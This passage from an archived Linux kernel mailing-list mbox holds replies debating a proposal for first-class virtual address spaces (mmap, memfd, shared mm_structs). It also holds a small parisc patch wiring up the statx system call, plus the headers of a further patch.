	3EyBDLUGfJj9RwIgYiDhkOyOtlEXq9iKlZVjqNPdShjKqtraeZqt0h+w1iOEoDHDaR470jeceukKK
	o4R06FP2g/zehIqXfxJQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1coCFH-00069z-2r; Wed, 15 Mar 2017 16:57:55 +0000
Original-Received: from willy by bombadil.infradead.org with local (Exim 4.87 #1 (Red
 Hat Linux)) id 1coCEy-00067n-VU; Wed, 15 Mar 2017 16:57:36 +0000
Content-Disposition: inline
In-Reply-To: <CALCETrX5gv+zdhOYro4-u3wGWjVCab28DFHPSm5=BVG_hKxy3A@mail.gmail.com>
X-BeenThere: linux-mtd@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux MTD discussion mailing list <linux-mtd.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-mtd>,
 <mailto:linux-mtd-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-mtd/>
List-Post: <mailto:linux-mtd@lists.infradead.org>
List-Help: <mailto:linux-mtd-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-mtd>,
 <mailto:linux-mtd-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-mtd" <linux-mtd-bounces@lists.infradead.org>
Errors-To: linux-mtd-bounces+gldm-linux-mtd-36=gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.drivers.mtd:72581 gmane.linux.ports.mips.general:58465 gmane.linux.ports.ia64:27714 gmane.linux.ports.sh.devel:55148 gmane.linux.alsa.devel:165380 gmane.linux.usb.general:156220 gmane.linux.ports.sparc:24754 gmane.linux.ports.hexagon:1175 gmane.linux.kernel.api:22569 gmane.linux.kernel:2433045 gmane.linux.kernel.cross-arch:35582 gmane.linux.kernel.arc:2244 gmane.linux.kernel.aio.general:4968 gmane.linux.drivers.video-input-infrastructure:114891 gmane.linux.ports.alpha:4150 gmane.linux.kernel.metag:1284 gmane.linux.ports.arm.kernel:565387 gmane.linux.file-systems:119199 gmane.linux.ports.parisc:27344 gmane.linux.kernel.mm:168433 gmane.linux.ports.ppc64.devel:139669
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.mtd/72581>

On Wed, Mar 15, 2017 at 09:51:31AM -0700, Andy Lutomirski wrote:
> > VAS segments on the other side allow sharing of pure in memory data by
> > arbitrary related tasks without the need of a file. This becomes especially
> > interesting if one combines VAS segments with non-volatile memory since one can keep
> > data structures in the NVM and still be able to share them between multiple tasks.
> 
> What's wrong with regular mmap?

I think it's the usual misunderstandings about how to use mmap.
>From the paper:

   Memory-centric computing demands careful organization of the
   virtual address space, but interfaces such as mmap only give limited
   control. Some systems do not support creation of address regions at
   specific offsets. In Linux, for example, mmap does not safely abort if
   a request is made to open a region of memory over an existing region;
   it simply writes over it.

The correct answer of course, is "Don't specify MAP_FIXED".  Specify the
'hint' address, and if you don't get it, either fix up your data structure
pointers, or just abort and complain noisily.

______________________________________________________
Linux MTD discussion mailing list
http://lists.infradead.org/mailman/listinfo/linux-mtd/


From - Thu Nov 08 21:39:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: Re: [RFC PATCH 00/13] Introduce first class virtual address spaces
Date: Wed, 15 Mar 2017 12:44:47 -0700
Lines: 129
Approved: news@gmane.org
Message-ID: <20170315194447.scsf3fiwvf7z5gzc@arch-dev>
References: <CALCETrX5gv+zdhOYro4-u3wGWjVCab28DFHPSm5=BVG_hKxy3A@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1489607108 7049 195.159.176.226 (15 Mar 2017 19:45:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 15 Mar 2017 19:45:08 +0000 (UTC)
User-Agent: NeoMutt/20170306 (1.8.0)
Cc: Andy Lutomirski <luto@kernel.org>,
	Till Smejkal <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.
To: Andy Lutomirski <luto@amacapital.net>
Original-X-From: owner-linux-aio@kvack.org Wed Mar 15 20:44:53 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1coEqn-0008Dy-4O
	for gla-linux-aio@m.gmane.org; Wed, 15 Mar 2017 20:44:49 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 894456B0389; Wed, 15 Mar 2017 15:44:54 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 81CFE6B0388; Wed, 15 Mar 2017 15:44:54 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 66E546B038A; Wed, 15 Mar 2017 15:44:54 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-wr0-f198.google.com (mail-wr0-f198.google.com [209.85.128.198])
	by kanga.kvack.org (Postfix) with ESMTP id E8EEA6B0388
	for <linux-aio@kvack.org>; Wed, 15 Mar 2017 15:44:53 -0400 (EDT)
Original-Received: by mail-wr0-f198.google.com with SMTP id u48so4737886wrc.0
        for <linux-aio@kvack.org>; Wed, 15 Mar 2017 12:44:53 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:date:to:cc:subject
         :message-id:mail-followup-to:mime-version:content-disposition
         :content-transfer-encoding:in-reply-to:user-agent;
        bh=zq1KQ1qx63E3h1lESbp46QzaSWUSeZO/pkzhE++D5Lw=;
        b=rNoqvylL+wwslFeLAdMR4JtDXftY8Eg/IpQJZZPlXPqTvAMaAHOs88GzxWUCsIs8SB
         ElN3+oeBeM14sq6I3jSkYdlUYkYxPsvguKogmQ1tPCyZ7ENB70vVouyOcJeSxyKuUFiH
         d9aASDPVQrp2Zn1TsnC2hcjclXj2BHUW9fVSo4fi6QQ7RnYB/mDKSwPKK945I20eCdRL
         22GX0Q5FJOlT+8AGo6LwNsl7u9PxHwexoxCtQzetG3YrMsMhduELuLLcw8IdyH3Jl7ma
         tqZzi8Nt/9tgZRPH0C6tahE176RaLYl0d07tOoQd9+kSjf7GY79YlEifvODnm378N882
         eKpw==
X-Gm-Message-State: AFeK/H3S/U/4lGM0qR8qI/6zsh68Ez1gMV8+GjCwHiJOEHtLz1DyiVutogDQ1lQeXOIJ9gTpsqPEHG0T5sTiViA09lq4WzRCqx4MLxOge506/zdt/kbRw2/VumylIDuV8STA04270XwsYYiZH/SYg/SElWfwDfNCJrbEjh1lv45e/gAcgVagONRu5oaIHlJ1I14u8NeDiUgSgOKMDxcZRtlf/72JcVO6yGzoPf1Dwdx2aXU/j5xPEYENu4CI4zYjOzTSnl/24z8I3fMPnWjD17PhBz/0XfKxiJN515f5oa76FkwYqarWAUQ=
X-Received: by 10.223.134.229 with SMTP id 34mr4611632wry.104.1489607093472;
        Wed, 15 Mar 2017 12:44:53 -0700 (PDT)
X-Received: by 10.223.134.229 with SMTP id 34mr4611584wry.104.1489607092451;
        Wed, 15 Mar 2017 12:44:52 -0700 (PDT)
Original-Received: from mail-wr0-x242.google.com (mail-wr0-x242.google.com. [2a00:1450:400c:c0c::242])
        by mx.google.com with ESMTPS id k31si3741445wrk.201.2017.03.15.12.44.51
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 15 Mar 2017 12:44:52 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::242 as permitted sender) client-ip=2a00:1450:400c:c0c::242;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::242 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wr0-x242.google.com with SMTP id g10so3306386wrg.0;
        Wed, 15 Mar 2017 12:44:51 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:date:to:cc:subject:message-id:mail-followup-to:mime-version
         :content-disposition:content-transfer-encoding:in-reply-to
         :user-agent;
        bh=zq1KQ1qx63E3h1lESbp46QzaSWUSeZO/pkzhE++D5Lw=;
        b=P/AccalLZqi5XqN6dGtPeBefPYZ9i0ymDTF6qo1YIXX5PQyHG2BYDK7Su6QB7qe+6W
         qqy3jcOQnTqHjJPreqI7MjSoNgbq+iFioLkGPq9SbjjR+dgRSPZIOYEQFtqBKHcp1i0M
         fzsXDFuwLphAXHvzJkDgPkm7EU+Bpvbt2O+Y1VgcvWrkNXIk8VHbk0t7Lovz8/L/ze4W
         bkVeYi8Dj/8ImXCRyMvBLM3B+QBvTKOn5fYPLcfm4kqEli9EUl5JYe/ZyuLPe5fcks6r
         I1t5KlKzPXO5IwTvPRp/DAEUSZ6OXQ5mWqt93OVdN7Tdb1j2iHDRIe4X97TrqW8kBwY6
         N7qg==
X-Received: by 10.223.175.238 with SMTP id y46mr4402894wrd.63.1489607091288;
        Wed, 15 Mar 2017 12:44:51 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id v1sm3450682wra.65.2017.03.15.12.44.49
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 15 Mar 2017 12:44:50 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
Mail-Followup-To: Andy Lutomirski <luto@amacapital.net>,
	Andy Lutomirski <luto@kernel.org>,
	Till Smejkal <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <hei 
Content-Disposition: inline
In-Reply-To: <CALCETrX5gv+zdhOYro4-u3wGWjVCab28DFHPSm5=BVG_hKxy3A@mail.gmail.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4969 gmane.linux.kernel:2433188 gmane.linux.ports.alpha:4151 gmane.linux.kernel.arc:2245 gmane.linux.ports.arm.kernel:565466 gmane.linux.ports.hexagon:1176 gmane.linux.ports.ia64:27715 gmane.linux.kernel.metag:1285 gmane.linux.ports.mips.general:58467 gmane.linux.ports.parisc:27345 gmane.linux.ports.ppc64.devel:139683 gmane.linux.ports.sh.devel:55150 gmane.linux.ports.sparc:24755 gmane.linux.drivers.video-input-infrastructure:114908 gmane.linux.drivers.mtd:72585 gmane.linux.usb.general:156222 gmane.linux.file-systems:119204 gmane.linux.kernel.mm:168435 gmane.linux.kernel.api:22571 gmane.linux.kernel.cross-arch:35588 gmane.linux.alsa.devel:165406
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4969>

On Wed, 15 Mar 2017, Andy Lutomirski wrote:
> > One advantage of VAS segments is that they can be globally queried by user programs
> > which means that VAS segments can be shared by applications that not necessarily have
> > to be related. If I am not mistaken, MAP_SHARED of pure in memory data will only work
> > if the tasks that share the memory region are related (aka. have a common parent that
> > initialized the shared mapping). Otherwise, the shared mapping have to be backed by a
> > file.
> 
> What's wrong with memfd_create()?
> 
> > VAS segments on the other side allow sharing of pure in memory data by
> > arbitrary related tasks without the need of a file. This becomes especially
> > interesting if one combines VAS segments with non-volatile memory since one can keep
> > data structures in the NVM and still be able to share them between multiple tasks.
> 
> What's wrong with regular mmap?

I never wanted to say that there is something wrong with regular mmap. We just
figured that with VAS segments you could remove the need to mmap your shared data but
instead can keep everything purely in memory.

Unfortunately, I am not at full speed with memfds. Is my understanding correct that
if the last user of such a file descriptor closes it, the corresponding memory is
freed? Accordingly, memfd cannot be used to keep data in memory while no program is
currently using it, can it? To be able to do this you need again some representation
of the data in a file? Yes, you can use a tmpfs to keep the file content in memory as
well, or some DAX filesystem to keep the file content in NVM, but this always
requires that such filesystems are mounted in the system that the application is
currently running on. VAS segments on the other side would provide a functionality to
achieve the same without the need of any mounted filesystem. However, I agree, that
this is just a small advantage compared to what can already be achieved with the
existing functionality provided by the Linux kernel. I probably need to revisit the
whole idea of first class virtual address space segments before continuing with this
pacthset. Thank you very much for the great feedback.

> >> >> Ick.  Please don't do this.  Can we please keep an mm as just an mm
> >> >> and not make it look magically different depending on which process
> >> >> maps it?  If you need a trampoline (which you do, of course), just
> >> >> write a trampoline in regular user code and map it manually.
> >> >
> >> > Did I understand you correctly that you are proposing that the switching thread
> >> > should make sure by itself that its code, stack, … memory regions are properly setup
> >> > in the new AS before/after switching into it? I think, this would make using first
> >> > class virtual address spaces much more difficult for user applications to the extend
> >> > that I am not even sure if they can be used at all. At the moment, switching into a
> >> > VAS is a very simple operation for an application because the kernel will just simply
> >> > do the right thing.
> >>
> >> Yes.  I think that having the same mm_struct look different from
> >> different tasks is problematic.  Getting it right in the arch code is
> >> going to be nasty.  The heuristics of what to share are also tough --
> >> why would text + data + stack or whatever you're doing be adequate?
> >> What if you're in a thread?  What if two tasks have their stacks in
> >> the same place?
> >
> > The different ASes that a task now can have when it uses first class virtual address
> > spaces are not realized in the kernel by using only one mm_struct per task that just
> > looks differently but by using multiple mm_structs - one for each AS that the task
> > can execute in. When a task attaches a first class virtual address space to itself to
> > be able to use another AS, the kernel adds a temporary mm_struct to this task that
> > contains the mappings of the first class virtual address space and the one shared
> > with the task's original AS. If a thread now wants to switch into this attached first
> > class virtual address space the kernel only changes the 'mm' and 'active_mm' pointers
> > in the task_struct of the thread to the temporary mm_struct and performs the
> > corresponding mm_switch operation. The original mm_struct of the thread will not be
> > changed.
> >
> > Accordingly, I do not magically make mm_structs look differently depending on the
> > task that uses it, but create temporary mm_structs that only contain mappings to the
> > same memory regions.
> 
> This sounds complicated and fragile.  What happens if a heuristically
> shared region coincides with a region in the "first class address
> space" being selected?

If such a conflict happens, the task cannot use the first class address space and the
corresponding system call will return an error. However, with the current available
virtual address space size that programs can use, such conflicts are probably rare. I
could also image some additional functionality that allows a user to mark parts of
its AS to not to be shared/to be shared when switching into a VAS. With this
functionality in place, there would be no need for a heuristic in the kernel but the
user decides what to share. The kernel would by default only share code, data, and
stack and the application/libraries have to mark all the other memory regions as
shared if they need to be also available in the VAS.

> I think the right solution is "you're a user program playing virtual
> address games -- make sure you do it right".

Hm, in general I agree, that the easier and more robust solution from the kernel
perspective is to let the user do the AS setup and only provide the functionality to
create new empty ASes. Though, I think that such an interface would be much more
difficult to use than my current design. Letting the user program setup the AS has
also another implication that I currently don't have. Since I share the code and
stack regions between all ASes that are available to a process, I don't need to
save/restore stack pointers or instruction pointers when threads switch between ASes.
However, when the user will setup the AS, the kernel cannot be sure that the code and
stack will be mapped at the same virtual address and hence has to save and restore
these registers (and also potentially others since we can now basically jump between
different execution contexts).

When we first designed first class virtual address spaces, we had one special
use-case in mind, namely that one application wants to use different data sets that
it does not want/can keep in the same AS. Hence, sharing code and stack between the
different ASes that the application uses was a logic step for us because the code
memory region for example has to be available at all AS anyways since all of them
execute the same application. Sharing the stack memory region enabled the application
to keep volatile information that might be needed in the new AS on the stack which
allows easy information flow between the different ASes. 

For this patch, I extended the initial sharing of stack and code memory regions to
all memory regions that are available in the tasks original AS to also allow
dynamically linked applications and multi-threaded applications to flawlessly use
first class virtual address spaces.

To put it in a nutshell, we envisioned first class virtual address spaces to be
rather used as shareable/reusable data containers which made sharing various memory
regions that are crucial for the execution of the application a feasible
implementation decision.

Thank you all very much for the feedback. I really appreciate it.

Till

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Wire up statx system call
Date: Wed, 15 Mar 2017 21:10:17 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20170315201017.GA14493@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1489608627 3969 195.159.176.226 (15 Mar 2017 20:10:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 15 Mar 2017 20:10:27 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 15 21:10:23 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1coFFV-0003ki-S2
	for glpp-linux-parisc@m.gmane.org; Wed, 15 Mar 2017 21:10:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752621AbdCOUK2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 15 Mar 2017 16:10:28 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:61219 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750774AbdCOUK1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 15 Mar 2017 16:10:27 -0400
Original-Received: from p100.box ([193.159.28.73]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LcVOE-1cPO0o03Ak-00jpyz; Wed, 15
 Mar 2017 21:10:20 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:Cc1XJF6Kv9aLpUb8fpNIW0KFBNR6uXWP6dLOLWLSy9WNgboY5Ff
 DfsIWwJUoH8YdTjh8iwmlvBUDZO+nIpKMrlT1njUUHfdv+ZUiefA8AE5eOsiEWtUBOnRJt4
 R3Lt/USHbPVYFFuaJmiMJlvbNGJtx0sjdTR0of1iJdLyOWZ4OpQo6Sm8Z9ksgQY7mkO0SxS
 MIumX8fPlOH7Hj9JVaLHw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:AwU+8LV4458=:zPi5shQ3yISHQryqiORYoL
 dZO+5Gnxcm18V0UfLrtUksNh+hu324gsPmN4fhPs2313Q9e+goL2a4KIrCJ7JyoMbmC+TKXV+
 KCbaGuITHhHJggl1dWgz9vjjRzS0YoJ+sGIILT3cgL4FnbeH1XLMdURgEzHWQvSwd+olNELsM
 QGyiv2Jcf3rig9P50D9YoHUFDGx+BuSfncjiFgIcJdwOxK+QSX1Q/k5Q+pK11XjdDk04tucR7
 yi0pSxKat6nOKpLbMxUZrOHBN0pUJIYY/7T7cGZMNRt2AswadL/GG9gVAWx9ZC5sfFVUxaau6
 Gr2ji2g2Sq6s0vhRLkdn1Hg2vfqXUU4IbqlE/ruY/R6ASwLfey/K9VtJXE3t6uUba1VMuo/ue
 50OoCvEEmG2VzH/FqmteJfsRVTrAbaH/Nci9mck2yQyPnSu1c5+V/nBLfz7XsLVQQvquCLqO7
 5WFoBH+EP7er4HoIgjvZ2z3ClYzTS7/4oWvh0UzNsr26U1HYzm4vbRdDag3sKrBE7PT4/JZ/A
 ZHAC14NA94e+CbrEQ2DWUU0WCtPbZTVgHjVon8ANbcsO+AeKLLtqDhc5z91NluL5RKKlVR2Vm
 5Wjra2dGwSxRlqW1tAYnFMhBeXX2hW0Hc5aSTSlIIIrOeXgzf4MmWgClkIGxIuIc4ctlUExN9
 we7u6cTSHAqH+dUuo64J8G+z+QLDATzAO8AbbvMTGATfy6auFGPPtAmC7P1/xZ2W1/eQtXGF/
 KsywfAg95gkPS+eKfb6Mn5ar65zIJK+DY9uvxxsER0iS1rVdUYF/f3vfWDI=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27346
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27346>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index 6b0741e..667c994 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -362,8 +362,9 @@
 #define __NR_copy_file_range	(__NR_Linux + 346)
 #define __NR_preadv2		(__NR_Linux + 347)
 #define __NR_pwritev2		(__NR_Linux + 348)
+#define __NR_statx		(__NR_Linux + 349)
 
-#define __NR_Linux_syscalls	(__NR_pwritev2 + 1)
+#define __NR_Linux_syscalls	(__NR_statx + 1)
 
 
 #define __IGNORE_select		/* newselect */
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 3cfef1d..44aeaa9 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -444,6 +444,7 @@
 	ENTRY_SAME(copy_file_range)
 	ENTRY_COMP(preadv2)
 	ENTRY_COMP(pwritev2)
+	ENTRY_SAME(statx)
 
 
 .ifne (. - 90b) - (__NR_Linux_syscalls * (91b - 90b))
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Avoid compiler warnings with access_ok()
Date: Wed, 15 Mar 2017 21:48:42 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20170315204842.GA32075@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1489610934 6052 195.159.176.226 (15 Mar 2017 20:48:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 15 Mar 2017 20:48:54 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 15 21:48:50 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1coFqg-0004h7-IK
	for glpp-linux-parisc@m.gmane.org; Wed, 15 Mar 2017 21:48:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751803AbdCOUsx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 15 Mar 2017 16:48:53 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:53838 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751487AbdCOUsw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 15 Mar 2017 16:48:52 -0400
Original-Received: from p100.box ([193.159.28.73]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MS5QA-1cdpjC3ZSk-00TFVs; Wed, 15
 Mar 2017 21:48:44 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:TAiy1tKnjhnPYdl6HQeyD2/JrWtcQWqDgXMrSCd7nrqUrV5zrsX
 Pt+om5SFiTxpmVs6KUr4eXcpAA51DOrzRx9TqjV1q8EFld+YLB5ggD/Pp5wFX1MQUc+64y5
 HwqujwnvY0WS48zhhvyiixgrwxvUljqfHIfalTTjDQaXzfUFJVFLhDsFFMNfmAxdfbDkLm6
 5q9YIcaB0EaV9pwDCOTyg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:l9o/tqUrSLU=:N8Dcqzez/b6OKMj2aSwd4s
 C94zc7VvMhDnsuvcJsZI6Iut7EJXPuuVd2ptYdHogq+LP8v0lkRq63hYKj7FBTpdU7cDdZr4f
 zUzfLfRiWRuBfE5XgzaVu43yW6jKsVAiyyVITqh90CSb1ghHpNJ/9HduubXT96QV8eSSUL3jx
 KJTaOkyat0Ra6SSTu3B5xnY+Mgdb4YQhoEoAzy8QOHLp5QPABnype3vBx6/qzQzYdUkD8wtLw
 u4fPFKvv1yVtkJCpId/r/spuMBVRXfahydgkevhf5PDMYHr1lilmKTVnsYg+qeOdVbGGdInb2
 I7JpFw5xKqA34YR+q9sdM/V+TshHSOPQ48KeW6/RPHhl1hmlHMqLOMj+iHtDIpFwHYBu6uGxI
 x1KWSxDRXL4YOZ5S4fDYlbvsCuf/nhAI3I0sNu088aT0av1XK/P7r41nCGVsEEURL7bOS2scP
 BnpGA/3FqmP71LDduLdy/yjNvdDXuRIHv6ldH7ZDdcEmlwDtORmqi4ekWLBj+mzyOlTTTy42f
 dOS4Pips+rEAtMrMOTL8OJSKcXugHM1cbiTTzQKXLjGfgr84Pd64VQs20KEc6H7l0nO+hfp9X
 LR9pk5FQDWXOpBOY+4Kdo8fVvTcOrPL83hJPBeXy0tsIMP1sEaj3uMg1ctWVD5rjZLIU0b7k3
 bChzgWZzN2X/S0/r9h8pkmlVIpZ6TkeFdboK0jgE6YQkiaMXND+MJEz3vSbw5aB02vVVzAcIG
 KRucijDTBszZuEHg596T/vMadAVfmTzVhvVb7FMb9zvmeRdeqZPbYIv8XfY=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27347
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27347>

